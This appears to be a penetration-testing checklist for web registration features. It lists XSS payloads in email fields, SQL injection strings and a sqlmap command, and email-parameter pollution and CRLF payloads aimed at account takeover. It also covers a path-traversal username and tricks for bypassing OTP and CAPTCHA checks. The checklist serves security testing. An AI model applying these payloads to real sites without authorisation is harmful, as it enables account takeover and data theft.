Registration Feature Security Testing

@abdulmasoodwarlock

Weak/Lack of Password Policy

1. weak passwords like 123456
2. username same as email address
3. password same as email address
4. improper implemented password reset and change features

XSS in username/email for Registration

daadmin1@example.com<script>alert('xss');</script>
"><svg/onload=confirm(1)>"@x.y
"hello<form/><!><details/open/ontoggle=alert(1)>"@gmail.com
['');alert('XSS');//']@xyz.xxx
"<svg/onload=alert(1)>"@gmail.com
test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E

DOS at Name/Password field in Signup Page

1. Go Sign up form.
2. Fill the form and enter a long string in password
3. Click on enter and you'll get 500 Internal Server error if it is vulnerable.

Duplicate Registration

Play with Email to Overwrite existing user

MAybeeEE@GmaiL.coM, looks like camel case

uppercase, +1@, Put black characters after the email: test@test.com a , special characters in the email name (%00, %09, %20), victim@gmail.com@attacker.com, victim@attacker.com@gmail.com

SQL Truncation Attack

(when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a

Play with username

Create user named: AdMIn (uppercase & lowercase letters)

Path Overwrite

If the username Reflect in the path like profile/h0tak88r -> thebn register with usernaame `../../../../../index.php` this might overwrite system's files

OTP Bypass

OTP Bypass Via Response Manipulation

JSON List of codes

{ "code":["1000","1001","1002","1003","1004","9999"]}

Check for default OTP - 111111, 123456, 000000

Check if otp has been leaked in response

Check if old OTP is still vaild

Try Use some one other valid OTP it might lake of integrity

No Rate Limit When Sending OTP

Replay Attack

CAPTCHA Bypass

Do not send the parameter related to the captcha

Captcha Bypass via response manipulation

Send the captcha parameter empty.

Check if the value of the captcha is Leaked in the source code of the page.

Check if the value is inside a cookie.

Try to use an old captcha value

If the captcha consists on a mathematical operation try to automate the calculation.

Enter CAPTCHA as a Boolean value (True)

SQLI in Email Field

Use SQLmap

python3 sqlmap.pu -r r.txt --batch

Json ?

{"email":"asd'or'1'='1@a.com" }

{"email":"a'-IF(LENGTH(database())>9,SLEE P(7),0)or'1'='1@a.com"}

ATO from manipulating the email Parameter

email=victim@mail.com&email=hacker@mail.com

{"email":["victim@mail.com","hacker@mail.com"]}

email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

email@email.com,victim@hack.secry
email@email","victim@hack.secry
email@email.com:victim@hack.secry
email@email.com%0d%0avictim@hack.secry

Email Verification Abuse

PrivEsc

Email Verification link Doesn't Expire After Email Change Leads to Delete User Account

Verification link leaked in the response

1: Signup for victim@gmail.com using email signup
2: check the response for the server

Bypass via Response Manipulation

bypass partner email confirmation

No Rate Limit when resend Email Confirmation

Email Verification Bypass after email change

Unlocking Important Resources with Email Verification Bypas

Presented by Abdul Masood Founder of Warlock Security